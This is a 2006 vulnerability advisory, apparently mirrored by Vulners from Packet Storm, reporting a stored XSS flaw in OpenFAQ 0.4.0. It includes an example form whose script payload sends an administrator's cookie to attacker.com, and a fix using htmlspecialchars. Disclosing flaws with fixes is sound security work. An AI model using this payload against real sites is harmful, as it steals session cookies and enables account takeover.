Lucene search
K

openfaq040XSS.txt

🗓️ 06 May 2006 00:00:00Reported by Kamil SienickiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

OpenFAQ 0.4.0 PHP XSS Issu

Code
`Script: OpenFAQ  
Version: 0.4.0 previous version probably too.  
Language: PHP  
Problem: HTML injection and XSS (Cross Site Scripting)  
Vendor: http://sourceforge.net/projects/openfaq  
Discovered by: Kamil 'K3' Sienicki  
  
Description:  
OpenFAQ is a PHP application that lets Webmasters   
administrate a Frequently Asked Questions section on their Web site.   
It has an admin section for easily adding questions and answers and   
editing the general configuration.  
  
Problem:  
A remote user can send via form a specially crafted data.  
When admin try to validate questions in administration panel,   
specially crafted data will be executed.  
  
Example exploit:  
<form action=http://host/openfaq-0.4.0/submit.php?ask=go method=post>  
<input type=text name=q  
value="<SCRIPT>document.location='http://attacker.com/get.cgi?  
value='+escape(document.cookie)</SCRIPT>">  
<input type=hidden name=email>  
<input type=submit value=Submit>  
</form>  
  
Example fix:  
file validate.php  
35 while ($row = mysql_fetch_array($get_new)) {  
36 echo "<b>".htmlspecialchars($row[question])."</b> (<a  
href=delete.php?type=n&id=$row[id]>$lang[delete]</a>, <a  
href=edit.php?type=n&id=$row[id]>$lang[editpublish]</a>)<br />";  
37 }  
38 }  
  
--  
Kamil 'K3' Sienicki  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation